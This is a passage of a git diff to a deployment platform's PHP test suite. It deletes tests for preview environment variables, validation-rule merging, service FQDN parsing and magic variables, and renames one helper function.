- expect($envString)->toContain('APP_KEY=');
-});
-
-test('no fallback when no preview vars are configured at all', function () {
- // Create a production-only var (booted hook auto-creates preview copy)
- EnvironmentVariable::create([
- 'key' => 'DB_PASSWORD',
- 'value' => 'secret123',
- 'is_preview' => false,
- 'is_runtime' => true,
- 'is_buildtime' => false,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- // Delete ALL preview copies — simulates no preview config
- $this->application->environment_variables_preview()->delete();
- $this->application->refresh();
-
- expect($this->application->environment_variables_preview()->count())->toBe(0);
-
- $envs = simulatePreviewEnvGeneration($this->application);
-
- $envString = $envs->implode("\n");
- // Should NOT fall back to production when no preview vars exist
- expect($envString)->not->toContain('DB_PASSWORD=');
-});
-
-test('preview var overrides production var when both exist', function () {
- // Create production var (auto-creates preview copy)
- EnvironmentVariable::create([
- 'key' => 'DB_PASSWORD',
- 'value' => 'prod_password',
- 'is_preview' => false,
- 'is_runtime' => true,
- 'is_buildtime' => false,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- // Update the auto-created preview copy with a different value
- $this->application->environment_variables_preview()
- ->where('key', 'DB_PASSWORD')
- ->update(['value' => encrypt('preview_password')]);
-
- $this->application->refresh();
- $envs = simulatePreviewEnvGeneration($this->application);
-
- // Should contain preview value only, not production
- $envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
- expect($envEntries)->toHaveCount(1);
- expect($envEntries->first())->toContain('preview_password');
-});
-
-test('preview-only var works without production counterpart', function () {
- // Create a preview-only var directly (no production counterpart)
- EnvironmentVariable::create([
- 'key' => 'PREVIEW_ONLY_VAR',
- 'value' => 'preview_value',
- 'is_preview' => true,
- 'is_runtime' => true,
- 'is_buildtime' => false,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- $this->application->refresh();
- $envs = simulatePreviewEnvGeneration($this->application);
-
- $envString = $envs->implode("\n");
- expect($envString)->toContain('PREVIEW_ONLY_VAR=');
-});
-
-test('buildtime-only production vars are not included in preview fallback', function () {
- // Create a runtime preview var so fallback is active
- EnvironmentVariable::create([
- 'key' => 'SOME_PREVIEW_VAR',
- 'value' => 'preview_value',
- 'is_preview' => true,
- 'is_runtime' => true,
- 'is_buildtime' => false,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- // Create a buildtime-only production var
- EnvironmentVariable::create([
- 'key' => 'BUILD_SECRET',
- 'value' => 'build_only',
- 'is_preview' => false,
- 'is_runtime' => false,
- 'is_buildtime' => true,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- // Delete the auto-created preview copy of BUILD_SECRET
- $this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
- $this->application->refresh();
-
- $envs = simulatePreviewEnvGeneration($this->application);
-
- $envString = $envs->implode("\n");
- expect($envString)->not->toContain('BUILD_SECRET');
- expect($envString)->toContain('SOME_PREVIEW_VAR=');
-});
-
test('preview env var inherits is_runtime and is_buildtime from production var', function () {
// Create production var WITH explicit flags
EnvironmentVariable::create([
diff --git a/tests/Feature/ProxyAcmeCertificateUiTest.php b/tests/Feature/ProxyAcmeCertificateUiTest.php
index 6c1a90b9ad..d562511ceb 100644
--- a/tests/Feature/ProxyAcmeCertificateUiTest.php
+++ b/tests/Feature/ProxyAcmeCertificateUiTest.php
@@ -5,9 +5,6 @@ it('gates Traefik ACME certificate deletion behind update authorization', functi
$component = file_get_contents(app_path('Livewire/Server/Proxy.php'));
expect($view)
- ->toContain('TLS certificates')
- ->toContain('Traefik requests a new certificate after the restart')
- ->toContain('wire:click="loadTraefikCertificates"')
->toContain('submitAction="deleteTraefikCertificate')
->toContain("@can('update', \$server)")
->and($component)
diff --git a/tests/Feature/Security/AuditLogTest.php b/tests/Feature/Security/AuditLogTest.php
index 247cd1125c..fae6cae832 100644
--- a/tests/Feature/Security/AuditLogTest.php
+++ b/tests/Feature/Security/AuditLogTest.php
@@ -215,11 +215,6 @@ describe('security UI audit logging', function () {
Livewire::test(CloudInitScripts::class)
->call('deleteScript', $script->id);
});
-
- test('cloud provider token form does not contain debug ray calls', function () {
- expect(file_get_contents(app_path('Livewire/Security/CloudProviderTokenForm.php')))
- ->not->toContain('ray'.'(');
- });
});
describe('webhook signature failure logging', function () {
diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php
index 522638464b..60f5ae8c91 100644
--- a/tests/Feature/Security/CommandInjectionSecurityTest.php
+++ b/tests/Feature/Security/CommandInjectionSecurityTest.php
@@ -382,25 +382,6 @@ describe('deployment git command escaping', function () {
});
});
-describe('sharedDataApplications rules survive array_merge in controller', function () {
- test('docker_compose_location safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- // Simulate what ApplicationsController does: array_merge(shared, local)
- // After our fix, local no longer contains docker_compose_location,
- // so the shared regex rule must survive
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- // The merged rules for docker_compose_location should be the safe regex, not just 'string'
- expect($merged['docker_compose_location'])->toBeArray();
- expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
- });
-});
-
describe('path fields require leading slash', function () {
test('dockerfile_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
@@ -877,54 +858,6 @@ describe('container name validation', function () {
});
});
-describe('dockerfile_target_build rules survive array_merge in controller', function () {
- test('dockerfile_target_build safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- // Simulate what ApplicationsController does: array_merge(shared, local)
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- expect($merged)->toHaveKey('dockerfile_target_build');
- expect($merged['dockerfile_target_build'])->toBeArray();
- expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
- });
-});
-
-describe('docker_compose_custom_command rules survive array_merge in controller', function () {
- test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- // Simulate what ApplicationsController does: array_merge(shared, local)
- // After our fix, local no longer contains docker_compose_custom_start_command,
- // so the shared regex rule must survive
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- expect($merged['docker_compose_custom_start_command'])->toBeArray();
- expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
- });
-
- test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- expect($merged['docker_compose_custom_build_command'])->toBeArray();
- expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
- });
-});
-
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
@@ -1034,14 +967,6 @@ describe('service application lifecycle command escaping', function () {
->and($source)->toContain('docker logs -n 100 {$escapedContainerName}')
->and($source)->toContain('dockerStopCommand($timeout, escapeshellarg($containerName), $this->server)');
});
-
- test('service application logs endpoint passes raw container name to docker helpers', function () {
- $source = file_get_contents(app_path('Http/Controllers/Api/ServiceApplicationsController.php'));
-
- expect($source)->toContain('getContainerStatus($server, $containerName)')
- ->and($source)->toContain('getContainerLogs($server, $containerName, $lines)')
- ->and($source)->not->toContain('$safeContainerName = escapeshellarg($containerName)');
- });
});
describe('install/build/start command validation', function () {
@@ -1185,47 +1110,6 @@ describe('install/build/start command validation', function () {
})->with(['install_command', 'build_command', 'start_command']);
});
-describe('install/build/start command rules survive array_merge in controller', function () {
- test('install_command safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- expect($merged['install_command'])->toBeArray();
- expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
- });
-
- test('build_command safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- expect($merged['build_command'])->toBeArray();
- expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
- });
-
- test('start_command safe regex is not overridden by local rules', function () {
- $sharedRules = sharedDataApplications();
-
- $localRules = [
- 'name' => 'string|max:255',
- 'docker_compose_domains' => 'array|nullable',
- ];
- $merged = array_merge($sharedRules, $localRules);
-
- expect($merged['start_command'])->toBeArray();
- expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
- });
-});
-
describe('git_branch validation rules survive array_merge in controller', function () {
test('git_branch uses ValidGitBranch in shared application rules', function () {
$rules = sharedDataApplications();
diff --git a/tests/Feature/Security/IntegrationTokenFormTest.php b/tests/Feature/Security/IntegrationTokenFormTest.php
index 2de38b7db2..6853a33623 100644
--- a/tests/Feature/Security/IntegrationTokenFormTest.php
+++ b/tests/Feature/Security/IntegrationTokenFormTest.php
@@ -153,14 +153,6 @@ test('at least one capability is required when adding a cloudflare token', funct
Http::assertNothingSent();
});
-test('provider validation uses the provider names declared by the model', function () {
- $component = file_get_contents(app_path('Livewire/Security/IntegrationTokenForm.php'));
-
- expect($component)
- ->toContain("implode(',', array_keys(IntegrationToken::PROVIDER_NAMES))")
- ->not->toContain('in:cloudflare,doppler,infisical,vault');
-});
-
test('integration tokens page lists saved provider and capabilities', function () {
IntegrationToken::query()->create([
'team_id' => $this->team->id,
@@ -308,15 +300,6 @@ test('an invalid replacement does not rotate the integration token', function ()
expect($savedToken->fresh()->token)->toBe('original-token');
});
-test('editor updates its row without rerendering the teleported parent modal', function () {
- $component = file_get_contents(app_path('Livewire/Security/IntegrationTokenEditor.php'));
-
- expect($component)
- ->toContain("'integration-token-updated'")
- ->toContain("'integration-token-deleted'")
- ->not->toContain('integrationTokenChanged');
-});
-
test('new integration token form controls declare authorization matching server-side actions', function () {
$editor = file_get_contents(resource_path('views/livewire/security/integration-token-editor.blade.php'));
$form = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php'));
diff --git a/tests/Feature/SentinelPushDeduplicationTest.php b/tests/Feature/SentinelPushDeduplicationTest.php
index 85f65bf622..05cc47b975 100644
--- a/tests/Feature/SentinelPushDeduplicationTest.php
+++ b/tests/Feature/SentinelPushDeduplicationTest.php
@@ -156,16 +156,6 @@ it('rejects malformed sentinel payloads before touching server state', function
'non-array containers' => [['containers' => 'not-an-array']],
]);
-it('guards the dedupe decision with a server scoped atomic cache lock', function () {
- $controller = file_get_contents(app_path('Http/Controllers/Api/SentinelController.php'));
-
- expect($controller)
- ->toContain('$lockKey = "sentinel:push-lock:{$server->id}";')
- ->toContain('Cache::lock($lockKey, 10)->block(5, function () use ($hashKey, $forceKey, $hash): bool')
- ->toContain('Cache::put($hashKey, $hash, now()->addDay())')
- ->toContain("Cache::put(\$forceKey, true, config('constants.sentinel.push_force_interval_seconds', 300))");
-});
-
it('dispatches the job when container state changes', function () use ($running) {
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
diff --git a/tests/Feature/ServerBuildRoleHelperTest.php b/tests/Feature/ServerBuildRoleHelperTest.php
deleted file mode 100644
index ace65f8b7e..0000000000
--- a/tests/Feature/ServerBuildRoleHelperTest.php
+++ /dev/null
@@ -1,10 +0,0 @@
-toContain('->nullable()->default(ServerRole::BOTH->value)')
- ->toContain("->where('is_build_server', true)")
- ->toContain("->update(['server_role' => ServerRole::BUILD->value])");
-});
diff --git a/tests/Feature/Service/ServiceFqdnUpdatePathTest.php b/tests/Feature/Service/ServiceFqdnUpdatePathTest.php
deleted file mode 100644
index 4c0c4238ff..0000000000
--- a/tests/Feature/Service/ServiceFqdnUpdatePathTest.php
+++ /dev/null
@@ -1,220 +0,0 @@
-create([
- 'name' => 'test-server',
- 'ip' => '127.0.0.1',
- ]);
-
- // Load Appwrite template
- $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
-
- // Create Appwrite service
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'name' => 'appwrite-test',
- 'docker_compose_raw' => $appwriteTemplate,
- ]);
-
- // Create the appwrite-realtime service application
- $serviceApp = ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'appwrite-realtime',
- 'fqdn' => 'https://test.abc/v1/realtime',
- ]);
-
- // Parse the service (simulates initial setup)
- $service->parse();
-
- // Get environment variable
- $urlVar = $service->environment_variables()
- ->where('key', 'SERVICE_URL_APPWRITE')
- ->first();
-
- // Initial setup should have path once
- expect($urlVar)->not->toBeNull()
- ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
- ->and($urlVar->value)->toContain('/v1/realtime');
-
- // Simulate user updating FQDN
- $serviceApp->fqdn = 'https://newdomain.com/v1/realtime';
- $serviceApp->save();
-
- // Call parse again (this is where the bug occurred)
- $service->parse();
-
- // Check that path is not duplicated
- $urlVar = $service->environment_variables()
- ->where('key', 'SERVICE_URL_APPWRITE')
- ->first();
-
- expect($urlVar)->not->toBeNull()
- ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
- ->and($urlVar->value)->toContain('/v1/realtime');
-})->skip('Requires database and Appwrite template - run in Docker');
-
-test('Appwrite console service does not duplicate /console path', function () {
- $server = Server::factory()->create();
- $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'docker_compose_raw' => $appwriteTemplate,
- ]);
-
- $serviceApp = ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'appwrite-console',
- 'fqdn' => 'https://test.abc/console',
- ]);
-
- // Parse service
- $service->parse();
-
- // Update FQDN
- $serviceApp->fqdn = 'https://newdomain.com/console';
- $serviceApp->save();
-
- // Parse again
- $service->parse();
-
- // Verify no duplication
- $urlVar = $service->environment_variables()
- ->where('key', 'SERVICE_URL_APPWRITE')
- ->first();
-
- expect($urlVar)->not->toBeNull()
- ->and($urlVar->value)->not->toContain('/console/console')
- ->and($urlVar->value)->toContain('/console');
-})->skip('Requires database and Appwrite template - run in Docker');
-
-test('MindsDB service does not duplicate /api path', function () {
- $server = Server::factory()->create();
- $mindsdbTemplate = file_get_contents(base_path('templates/compose/mindsdb.yaml'));
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'docker_compose_raw' => $mindsdbTemplate,
- ]);
-
- $serviceApp = ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'mindsdb',
- 'fqdn' => 'https://test.abc/api',
- ]);
-
- // Parse service
- $service->parse();
-
- // Update FQDN multiple times
- $serviceApp->fqdn = 'https://domain1.com/api';
- $serviceApp->save();
- $service->parse();
-
- $serviceApp->fqdn = 'https://domain2.com/api';
- $serviceApp->save();
- $service->parse();
-
- // Verify no duplication after multiple updates
- $urlVar = $service->environment_variables()
- ->where('key', 'SERVICE_URL_API')
- ->orWhere('key', 'LIKE', 'SERVICE_URL_%')
- ->first();
-
- expect($urlVar)->not->toBeNull()
- ->and($urlVar->value)->not->toContain('/api/api');
-})->skip('Requires database and MindsDB template - run in Docker');
-
-test('service without path declaration is not affected', function () {
- $server = Server::factory()->create();
-
- // Create a simple service without path in template
- $simpleTemplate = <<<'YAML'
-services:
- redis:
- image: redis:7
- environment:
- - SERVICE_FQDN_REDIS
-YAML;
-
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'docker_compose_raw' => $simpleTemplate,
- ]);
-
- $serviceApp = ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'redis',
- 'fqdn' => 'https://redis.test.abc',
- ]);
-
- // Parse service
- $service->parse();
-
- $fqdnBefore = $service->environment_variables()
- ->where('key', 'SERVICE_FQDN_REDIS')
- ->first()?->value;
-
- // Update FQDN
- $serviceApp->fqdn = 'https://redis.newdomain.com';
- $serviceApp->save();
-
- // Parse again
- $service->parse();
-
- $fqdnAfter = $service->environment_variables()
- ->where('key', 'SERVICE_FQDN_REDIS')
- ->first()?->value;
-
- // Should work normally without issues
- expect($fqdnAfter)->toBe('redis.newdomain.com')
- ->and($fqdnAfter)->not->toContain('//');
-})->skip('Requires database - run in Docker');
-
-test('multiple FQDN updates never cause path duplication', function () {
- $server = Server::factory()->create();
- $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'docker_compose_raw' => $appwriteTemplate,
- ]);
-
- $serviceApp = ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'appwrite-realtime',
- 'fqdn' => 'https://test.abc/v1/realtime',
- ]);
-
- // Update FQDN 10 times and parse each time
- for ($i = 1; $i <= 10; $i++) {
- $serviceApp->fqdn = "https://domain{$i}.com/v1/realtime";
- $serviceApp->save();
- $service->parse();
-
- // Check path is never duplicated
- $urlVar = $service->environment_variables()
- ->where('key', 'SERVICE_URL_APPWRITE')
- ->first();
-
- expect($urlVar)->not->toBeNull()
- ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
- ->and($urlVar->value)->toContain('/v1/realtime');
- }
-})->skip('Requires database and Appwrite template - run in Docker');
diff --git a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php
index 17c1edd375..00bf6a49ac 100644
--- a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php
+++ b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php
@@ -1,14 +1,5 @@
getReturnType();
-
- expect($returnType)->not->toBeNull()
- ->and($returnType->getName())->toBe('mixed');
-});
-
it('refreshes backup executions from backup broadcasts on the current team channel', function () {
$serviceExecutions = file_get_contents(app_path('Livewire/Project/Service/BackupExecutions.php'));
$serviceBackups = file_get_contents(app_path('Livewire/Project/Service/VolumeBackup/Index.php'));
diff --git a/tests/Feature/ServiceMagicVariableOverwriteTest.php b/tests/Feature/ServiceMagicVariableOverwriteTest.php
deleted file mode 100644
index c592b047e6..0000000000
--- a/tests/Feature/ServiceMagicVariableOverwriteTest.php
+++ /dev/null
@@ -1,171 +0,0 @@
-create([
- 'name' => 'test-server',
- 'ip' => '127.0.0.1',
- ]);
-
- // Compose template where:
- // - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1)
- // - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic)
- $template = <<<'YAML'
-services:
- nginx:
- image: nginx:latest
- environment:
- - SERVICE_FQDN_NGINX_8080
- ports:
- - "8080:80"
- backend:
- image: node:20-alpine
- environment:
- - PUBLIC_URL=${SERVICE_URL_NGINX}
- - PUBLIC_FQDN=${SERVICE_FQDN_NGINX}
-YAML;
-
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'name' => 'test-service',
- 'docker_compose_raw' => $template,
- ]);
-
- $serviceApp = ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'nginx',
- 'fqdn' => null,
- ]);
-
- // Initial parse - generates auto FQDNs
- $service->parse();
-
- $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
- $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
- $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
- $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
-
- // All four variables should exist after initial parse
- expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist');
- expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist');
- expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist');
- expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist');
-
- // Now simulate user changing domain via UI (EditDomain::submit flow)
- $serviceApp->fqdn = 'https://my-nginx.example.com:8080';
- $serviceApp->save();
-
- // updateCompose() runs first (sets correct values)
- updateCompose($serviceApp);
-
- // Then parse() runs (should NOT overwrite the correct values)
- $service->parse();
-
- // Reload all variables
- $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
- $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
- $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
- $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
-
- // ALL variables should reflect the custom domain
- expect($baseUrl->value)->toBe('https://my-nginx.example.com')
- ->and($baseFqdn->value)->toBe('my-nginx.example.com')
- ->and($portUrl->value)->toBe('https://my-nginx.example.com:8080')
- ->and($portFqdn->value)->toBe('my-nginx.example.com:8080');
-})->skip('Requires database - run in Docker');
-
-test('magic variable references do not overwrite direct template declarations on initial parse', function () {
- $server = Server::factory()->create([
- 'name' => 'test-server',
- 'ip' => '127.0.0.1',
- ]);
-
- // Backend references the port-specific variable via magic syntax
- $template = <<<'YAML'
-services:
- app:
- image: nginx:latest
- environment:
- - SERVICE_FQDN_APP_3000
- ports:
- - "3000:3000"
- worker:
- image: node:20-alpine
- environment:
- - API_URL=${SERVICE_URL_APP_3000}
-YAML;
-
- $service = Service::factory()->create([
- 'server_id' => $server->id,
- 'name' => 'test-service',
- 'docker_compose_raw' => $template,
- ]);
-
- ServiceApplication::factory()->create([
- 'service_id' => $service->id,
- 'name' => 'app',
- 'fqdn' => null,
- ]);
-
- // Parse the service
- $service->parse();
-
- $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first();
- $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first();
-
- // Port-specific vars should have port as a URL port suffix (:3000),
- // NOT baked into the subdomain (app-3000-uuid.sslip.io)
- expect($portUrl)->not->toBeNull();
- expect($portFqdn)->not->toBeNull();
- expect($portUrl->value)->toContain(':3000');
- // The domain should NOT have 3000 in the subdomain
- $urlWithoutPort = str($portUrl->value)->before(':3000')->value();
- expect($urlWithoutPort)->not->toContain('3000');
-})->skip('Requires database - run in Docker');
-
-test('parsers.php uses firstOrCreate for magic variable references', function () {
- $parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php'));
-
- // Find the magic variables section (Section 2) which processes ${SERVICE_*} references
- // It should use firstOrCreate, not updateOrCreate, to avoid overwriting values
- // set by direct template declarations (Section 1) or updateCompose()
-
- // Look for the specific pattern: the magic variables section creates FQDN and URL pairs
- // after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments
-
- // Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach)
- $magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0');
- expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist');
-
- $magicSection = substr($parsersFile, $magicSectionStart, 5000);
-
- // Count updateOrCreate vs firstOrCreate in the magic section
- $updateOrCreateCount = substr_count($magicSection, 'updateOrCreate');
- $firstOrCreateCount = substr_count($magicSection, 'firstOrCreate');
-
- // Magic section should use firstOrCreate for SERVICE_URL/FQDN variables
- expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs')
- ->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables');
-});
diff --git a/tests/Feature/StableNestedLivewireKeysTest.php b/tests/Feature/StableNestedLivewireKeysTest.php
index a90afd6bef..96ad9a8959 100644
--- a/tests/Feature/StableNestedLivewireKeysTest.php
+++ b/tests/Feature/StableNestedLivewireKeysTest.php
@@ -13,19 +13,6 @@ it('does not key nested Livewire components by mutable list positions', function
->not->toContain('wire:key="{{ $fileName }}-{{ $loop->index }}"');
});
-it('saves reindexed PostgreSQL scripts by their original stable identity', function () {
- $editor = file_get_contents(app_path('Livewire/Project/Database/InitScript.php'));
- $parent = file_get_contents(app_path('Livewire/Project/Database/Postgresql/General.php'));
-
- expect($editor)
- ->toContain('public string $originalFilename;')
- ->toContain("dispatch('save_init_script', \$this->script, \$this->originalFilename)");
-
- expect($parent)
- ->toContain('public function save_init_script($script, string $originalFilename)')
- ->toContain("firstWhere('filename', \$originalFilename)");
-});
-
it('keeps editable and refreshed list row keys independent of their positions', function () {
$applicationDomains = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php'));
$serviceDomains = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));
diff --git a/tests/Feature/StaleStartActivityTest.php b/tests/Feature/StaleStartActivityTest.php
index da664f781d..93ddcc8010 100644
--- a/tests/Feature/StaleStartActivityTest.php
+++ b/tests/Feature/StaleStartActivityTest.php
@@ -165,12 +165,6 @@ it('marks interrupted database and service start activities as failed on startup
->and(data_get($unrelatedRunningProcess->refresh(), 'properties.status'))->toBe(ProcessStatus::IN_PROGRESS->value);
});
-it('runs the interrupted start cleanup from app:init', function () {
- $source = file_get_contents(app_path('Console/Commands/Init.php'));
-
- expect($source)->toContain('ResourceStartActivity::failInterrupted()');
-});
-
it('marks interrupted database imports as failed on startup and leaves other operations alone', function () {
$queuedImport = startActivity($this->database->uuid, ProcessStatus::QUEUED, 'database_import');
$runningImport = startActivity((string) Str::uuid(), ProcessStatus::IN_PROGRESS, 'database_import');
diff --git a/tests/Feature/StandaloneSqliteTest.php b/tests/Feature/StandaloneSqliteTest.php
index c441a7067b..d813ed175d 100644
--- a/tests/Feature/StandaloneSqliteTest.php
+++ b/tests/Feature/StandaloneSqliteTest.php
@@ -77,13 +77,6 @@ it('generates a compose file that passes the database files to the image', funct
->and($service['volumes'])->toBe(['sqlite-data-'.$this->database->uuid.':/var/lib/sqlite']);
});
-it('backs up with a read-only VACUUM INTO snapshot instead of a SQL dump', function () {
- expect(file_get_contents(app_path('Jobs/DatabaseBackupJob.php')))
- ->toContain('sqlite3 -readonly')
- ->toContain('VACUUM INTO')
- ->not->toContain('.dump');
-});
-
it('restores a gzipped backup with .restore into the first database file', function () {
$command = app(DatabaseImportCommandBuilder::class)->buildRestoreCommand($this->database, '/tmp/restore_1', false);
diff --git a/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php b/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php
index 7299f5c923..a2d904796b 100644
--- a/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php
+++ b/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php
@@ -96,7 +96,7 @@ beforeEach(function () {
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
-function makeComposeApplication(): Application
+function makeTrafficComposeApplication(): Application
{
return Application::factory()->create([
'name' => 'Compose Shop',
@@ -260,7 +260,7 @@ it('merges overviews, paths, breakdowns, and series of several keys', function (
});
it('shows a compose application with the data of all its compose service keys', function () {
- $application = makeComposeApplication();
+ $application = makeTrafficComposeApplication();
$apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api');
$webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web');
@@ -287,7 +287,7 @@ it('shows a compose application with the data of all its compose service keys',
});
it('sums every compose key in the application traffic card', function () {
- $application = makeComposeApplication();
+ $application = makeTrafficComposeApplication();
$apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api');
$webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web');
@@ -303,7 +303,7 @@ it('sums every compose key in the application traffic card', function () {
});
it('groups compose keys of one application into one leaderboard row', function () {
- $application = makeComposeApplication();
+ $application = makeTrafficComposeApplication();
$apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api');
$webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web');
diff --git a/tests/Feature/V5CleanupTest.php b/tests/Feature/V5CleanupTest.php
index a612d3741d..caa416a501 100644
--- a/tests/Feature/V5CleanupTest.php
+++ b/tests/Feature/V5CleanupTest.php
@@ -15,23 +15,3 @@ it('keeps v5 prototypes outside executable application paths', function () {
->and(file_exists(base_path('routes/v5.php')))->toBeFalse()
->and(file_exists(config_path('v5.php')))->toBeFalse();
});
-
-it('archives the previous v5 migrations and ui as documentation', function () {
- expect(glob(base_path('docs/v5/migrations/*.php.txt')))->toHaveCount(15)
- ->and(glob(base_path('docs/v5/ui/resources/js/v5/**/*.txt')))->not->toBeEmpty()
- ->and(file_exists(base_path('docs/v5/ui/resources/views/v5/app.blade.php.txt')))->toBeTrue()
- ->and(file_exists(base_path('docs/v5/archive/app/Support/V5/V5Feature.php.txt')))->toBeTrue()
- ->and(file_exists(base_path('docs/v5/archive/routes/v5.php.txt')))->toBeTrue()
- ->and(file_exists(base_path('docs/v5/archive/tests/v5/Browser/DashboardSmokeTest.php.txt')))->toBeTrue();
-});
-
-it('documents removed v5 packages and the v4 animation dependency', function () {
- $packageDocumentation = file_get_contents(base_path('docs/v5/package.md'));
-
- expect($packageDocumentation)
- ->toContain('`inertiajs/inertia-laravel`')
- ->toContain('`react`')
- ->toContain('`@vitejs/plugin-react`')
- ->toContain('`tw-animate-css`')
- ->toContain('must not be removed');
-});
diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.php
